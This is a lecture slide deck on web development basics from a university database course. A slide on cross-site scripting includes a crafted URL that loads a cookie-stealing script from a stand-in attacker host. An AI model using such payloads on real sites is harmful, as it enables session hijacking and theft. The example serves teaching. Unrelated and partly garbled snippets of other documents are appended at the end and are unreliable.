Basics Of Web Development - Northeastern University
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Basics of Web Development Lecture 7 Basics of Web Development October 3, 2017 1
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Outline 1. Big Picture 2. Client Side 3. Server Side Basics of Web Development October 3, 2017 2
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Big Picture Client Network Server Request (HTTP) Response (HTTP) Basics of Web Development October 3, 2017 3
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Client Any software capable of issuing HTTP requests (and processing responses) – Most common: web browser “Apps” commonly issue HTTP requests on your behalf as a standardized communication layer Basics of Web Development October 3, 2017 4
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Server Any software listening for HTTP requests on one/more ports (and responds) Commonly a buffer layer in a 3 (or more) tier architecture Basics of Web Development October 3, 2017 5
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Hypertext Transfer Protocol (HTTP) Application protocol for distributed, clientserver communication Session – Request (port, method, headers, message) – Response (status, headers, message) Stateless – Cookies, server sessions, hidden form data Basics of Web Development October 3, 2017 6
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Example Request: www.example.com Response GET /index.html HTTP/1.1 Host: www.example.com HTTP/1.1 200 OK Date: Mon, 23 May 2005 22:38:34 GMT Content-Type: text/html; charset UTF-8 Content-Encoding: UTF-8 Content-Length: 138 Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux) ETag: "3f80f-1b6-3e1cb03b” Accept-Ranges: bytes Connection: close html head title An Example Page /title /head body Hello World! /body /html Basics of Web Development October 3, 2017 7
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky HTTP Request TCP port – Usually 80 (http), 443 (https) URL http(s)://user:pass@domain:port/path?query#anchor Method: intended effect – – – – – GET: “safe” representation (in URL) POST: add PUT: replace/add DELETE: delete OPTIONS: get Headers: operational parameters Basics of Web Development October 3, 2017 8
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky HTTP Response Status code, common – 200 ok, 404 not found, 403 forbidden, 500 server error Headers: operational parameters Message body – Document (HTML, XML, JSON), image, Basics of Web Development October 3, 2017 9
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Maintaining State: Cookies Client Server GET /index.html HTTP/1.1 Host: www.example.org HTTP/1.0 200 OK Content-type: text/html Set-Cookie: theme light Set-Cookie: sessionToken abc123; Expires Wed, 09 Jun 2021 10:18:14 GMT GET /spec.html HTTP/1.1 Host: www.example.org Cookie: theme light; sessionToken abc123 Basics of Web Development October 3, 2017 10
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Maintaining State: Sessions Basic idea: server provides client a “token” that uniquely identifies the session data Language support – e.g. PHPSESSID Basics of Web Development October 3, 2017 11
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Maintaining State: Form Data Basic idea: forms have hidden fields with any necessary information to maintain client-server synchronization Basics of Web Development October 3, 2017 12
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Web Development Creating server-side (back-end) “producers” of content and client-side (front-end) “consumers” Good – Platform independent (somewhat) – Lots of tools, libraries, etc. Bad – MANY languages/technologies at play Baseline: HTML, CSS, JS Basics of Web Development October 3, 2017 13
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Client-Side Technologies Document structure/content – HTML, XML Document styling – CSS Dynamics – JavaScript, (Java/Flash/Silverlight/ ) Communication – AJAX via XML/JSON Tools – Inspection, jQuery, Bootstrap, CDN Basics of Web Development October 3, 2017 14
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Hypertext Markup Language (HTML) Markup to support structured documents Semantics for – Text (headings, paragraphs, lists, tables, etc.) – Multimedia (images, music, video, etc.) – Links to other resources – Forms – Styling – Scripting Basics of Web Development October 3, 2017 15
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky HTML Hello World html head title howdy /title /head body p hello /p p a href "https://helloworldcollection.github.io" world /a /p /body /html Basics of Web Development October 3, 2017 16
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky HTML Elements/Tags Every tag has a typical syntax – Start/end tag element /element – Attribute/value pair(s) element key1 "value1" key2 "value2" – Content element key "value" content /element If no content, may see element key "value" / Basics of Web Development October 3, 2017 17
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Typical HTML Document head – title: shown in browser – meta: used for automated processing – style, script, etc. body – p: paragraph img: image ul, ol: unordered/ordered list – li: list item a: “anchor” (link) – form, table – div: “division” (logical grouping) Basics of Web Development October 3, 2017 18
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky HTML Forms Attributes dictate where an HTTP request is intended to proceed, and how – Method: GET/POST – Action: URL Many elements – – – – – Single/multi-line input Single/multi lists Check/radio boxes File uploads Buttons Basics of Web Development October 3, 2017 19
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Extensible Markup Language (XML) Serves an important role for a common, computer-readable data exchange format – Common in software products, business exchanges Has fallen out of favor as a web document format – XHTML, XML XSLT – However, very important for AJAX (more later) Basics of Web Development October 3, 2017 20
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Document Styling It can be advantageous to separate document structure/content from presentation – Supports modularity, consistency, maintainability Cascading Style Sheets (CSS) is a language for describing document presentation semantics – Fonts, layout, colors, etc. – Hierarchical, object-oriented – Support for medium-specificity Basics of Web Development October 3, 2017 21
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky CSS Example body { background-color: black; color: white; font-family: Georgia, "Times New Roman"; font-size: 16px; } p { padding: 10px 0px; } .heavy { font-weight: bold; } Basics of Web Development October 3, 2017 22
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky CSS Usage Element p style " " Document head style type "text/css" /style /head Linked head link rel "stylesheet" href "style.css" type "text/css" media "print" / /head Basics of Web Development October 3, 2017 23
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Typical CSS Good style: minimalist, descriptive HTML site-linked CSS – Improves readability, consistency, accessibility Different browsers (e.g. mobile) have different CSS interpretations (and starting configs), hence UI libraries – Bootstrap! (more later) Basics of Web Development October 3, 2017 24
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Dynamics Historically webpages were static, with server interaction required As the web evolved, technologies emerged to make sites more interactive locally – Java applets, Flash, Silverlight, For reasons of security, “politics” (e.g. Apple vs Flash), etc., JavaScript is dominant Basics of Web Development October 3, 2017 25
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky JavaScript Features Document Object Model (DOM) – Exposes HTML elements to programmatic manipulation – Provides event hooks (onclick " ") – JavaScript Object Notation (JSON): humanreadable text to transmit data objects Interpreted, C/Java-like syntax – Functions – Classes Basics of Web Development October 3, 2017 26
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky JSON Example { "firstName": "John", "lastName": "Smith", "isAlive": true, "age": 25, "address": { "streetAddress": "21 2nd Street", "city": "New York", "state": "NY", "postalCode": "10021-3100" }, "phoneNumbers": [ {"type": "home", "number": "212 555-1234"}, {"type": "office", "number": "646 555-4567"}, {"type": "mobile", "number": "123 456-7890"} ], "children": [], "spouse": null } Basics of Web Development October 3, 2017 27
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Asynchronous JavaScript (AJAX) Basic idea: don’t reload the page in order to talk to the server Originally paired with XML, now more commonly JSON Makes for a consistent format of data exchange between multiple platforms (e.g. web, iOS, Android, ) Basics of Web Development October 3, 2017 28
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky JavaScript Pitfalls Differences in browser (version) support/ implementation – jQuery Bootstrap! Security – Cross-site scripting (XSS) Speed Accessibility – Pages should gracefully degrade Basics of Web Development October 3, 2017 29
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky XSS Example 1. Bob's website allows users to login with a user/password to store billing information. When a user logs in, the browser keeps an Authorization Cookie, so both client & server know she's logged in. Mallory observes that Bob's website contains a reflected XSS vulnerability: 2. a) If no results were found for a user search, the page displays the search term and the url will be http://bobssite.org?q term With an abnormal search query, like " script type 'text/javascript' alert('xss'); /script ", b) An alert box appears (that says "xss"). The page displays " script type 'text/javascript' alert('xss'); /script not found," along with an error message with the text 'xss' The url is "http://bobssite.org?q script%20type 'text/javascript' alert('xss'); /script 3. Mallory crafts a URL to exploit the vulnerability: a) b) 4. Alice gets the e-mail. She loves puppies and clicks on the link a) 5. 6. 7. 8. She makes the URL http://bobssite.org?q puppies script%20src "http://mallorysevilsite.com/authstealer.js" /script She sends an e-mail to some unsuspecting members of Bob's site, saying "Check out some cute puppies!” It goes to Bob's search, doesn't find anything, and displays "puppies not found" but right in the middle, the script tag runs (it is invisible to Alice) and loads and runs Mallory's program authstealer.js (triggering the XSS attack) The authstealer.js program runs in Alice's browser, as if it originated from Bob's website. It grabs a copy of Alice's Authorization Cookie and sends it to Mallory's server, where Mallory retrieves it. Mallory uses Alice's Authorization Cookie in her browser as if it were her own - she goes to Bob's site and is now logged in as Alice. Now Mallory goes to the Billing section of the website and looks up Alice's credit card number Mallory sends a similarly crafted link to Bob, thus gaining administrator privileges to Bob's website. Basics of Web Development October 3, 2017 30
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Web Inspector Basics of Web Development October 3, 2017 31
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Inspect! Built into browsers, good for – Seeing site code – Understanding the DOM And changing, temporarily :) – Seeing computed CSS – Debugging JS – Seeing different device effects “Responsive” design – Profiling Basics of Web Development October 3, 2017 32
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky jQuery Cross-platform, open-source JavaScript library designed to simplify client-side scripting – DOM selection/traversal/manipulation/events, plugins Example: when the page loads, hide any paragraph on the page that is clicked (document).ready(function(){ ("p").click(function(){ (this).hide(); }); }); Basics of Web Development October 3, 2017 33
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Bootstrap Most commonly used front-end framework Standardized CSS, JavaScript, HTML Makes it easy to produce good-looking, responsive, cross-browser websites Basics of Web Development October 3, 2017 34
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Content Delivery/Distribution Network (CDN) Geographically distributed servers for quickly providing reliable access to (typically) static content Good for – Improving user experience (e.g. Netflix) – Avoiding DDoS (Denial of Service) – Distributing code/fonts (e.g. Bootstrap) Basics of Web Development October 3, 2017 35
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Server-Side Technologies Web Server – Apache (49%), nginx (35%), IIS (11%) – Hosting, Containers Languages – PHP, Python, Ruby, JSP, ASP, CGI – Content Management System (CMS) Databases – MySQL, SQL Server, PostreSQL, NoSQL (e.g. Mongo) Basics of Web Development October 3, 2017 36
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Web Server The primary role of a web server is to satisfy client HTTP requests – Other: virtual hosting, throttling, scripting, security, Typical process 1. 2. 3. 4. Receive HTTP request Reference configuration Retrieve resource Send HTTP response Basics of Web Development October 3, 2017 37
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Hosting Your own machine: avoid for production – Security, scaling Remote – Shared, dedicated hosting Virtual Private Server (VPS) VMs Control panel (e.g. CPanel) – SSH/SFTP – Containers (e.g. Heroku) – Cloud for storage, networking, computing, etc. Amazon Web Services, Microsoft Azure, Google Cloud Basics of Web Development October 3, 2017 38
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Server-Side Scripting The web server executes a script whose result is packaged and sent to the client as an HTTP response – HTML/JSON document – Image – Download Basics of Web Development October 3, 2017 39
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Example PHP Script ?php echo ' html '; echo ' head '; echo ' title howdy /title '; echo ' /head '; echo ' body '; echo ' p hello world /p '; echo ' /body '; echo ' /html '; ? Basics of Web Development October 3, 2017 40
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Model-View-Controller (MVC) A design pattern to separate code for – Business logic (model) – Output representation (view) – Routing requests (controller) Common, embedded within many frameworks Basics of Web Development October 3, 2017 41
CS5200 – Database Management Systems･ ･･ Fall 2017･ ･･ Derbinsky Content Management Systems (CMS) Web application that provides infrastructure for managing data – Data management, editing, workflows, syndication, collaboration/delegation, etc. – Standardized client- and server-side components Examples – Wikis (MediaWiki), Blogs (WordPress) – Drupal, Joomla – SharePoint Basics of Web Development October 3, 2017 42
Basics of Web Development Lecture 7 October 3, 2017 Basics of Web Development 1. CS5200 -Database Management Systems･･･Fall 2017･･･Derbinsky Outline 1.Big Picture 2.Client Side 3.Server Side October 3, 2017 Basics of Web Development 2.
Northeastern University – Silicon Valley Campus Guide Fall 2018 New Student Orientation, photographed by Kindrid Parker Northeastern University Mission Founded in 1898, Northeastern is a global, experiential, research university built on a . lil.ma@northeastern.edu 408.707.3697 College and Program Acronyms
Northeastern University . 2 Table of Contents TABLE OF CONTENTS . 2 WELCOME TO NORTHEASTERN UNIVERSITY! . 4 PART 1: GETTING AROUND NORTHEASTERN. 5 T HE L AY OF THE L AND .
ing violence prevention, response, and education for Northeastern stu-dents. The major on-campus allies associated with ViSION are University H e a l th nd Cous ig Srv c, O f Resolution, Residential Life, Northeastern University Police Department, Office of Prevention and Education at Northeastern, and Office for G endr Equ ity aCompl c . Th
Northeastern University-Seattle Campus Guide Northeastern University Mission Founded in 1898, Northeastern is a global, experiential, research university built on a tradition of engagement with the world, creating a distinctive approach to education and research. The university offers a comprehensive range of undergraduate and graduate
NORTHEASTERN UNIVERSITY Boston Campus Institutional Master Plan Noti cation Form Figure 1. Existing Conditions (2012) Tra c Volumes AM Peak Hours (8:30-9:30 AM) NORTHEASTERN UNIVERSITY Boston Campus Institutional Master Plan Noti cation Form Mitchell L. Fischman CONSULTING LLC 41 Brush Hill Road Newton, Massachusetts 02461 Campus Master Planning
What is the Accelerated BSN Nursing Program at Northeastern? Northeastern is a school on the move 2013: Forbes ranks Northeastern a "Top College": 236 / 650 on the overall list 167 in Private Colleges 114 in Research Universities 96 in the Northeast 2011: U.S. Army Graduate Program in Anesthesia Nursing
Northeastern Illinois University July 2016 Point of Contact for Designation Process: Kris Pierre Senior Director -Academic & Community Partnerships Northeastern Illinois University Chicago, IL 60625 Email: k-pierre@neiu.edu Phone: 773-442-4607 Northeastern Illinois University's Coalition Campus Team Members:
The Group met four times in Brussels to complete its work: on 12 December 2013, on 14/15 January 2014, on 13/14 March 2014 and on 24/25 April 2014. During the term of the Group Mr Pierre Collin was appointed as member of the cabinet of Mr Moscovici, Minister of Finance in France. He continued participating in
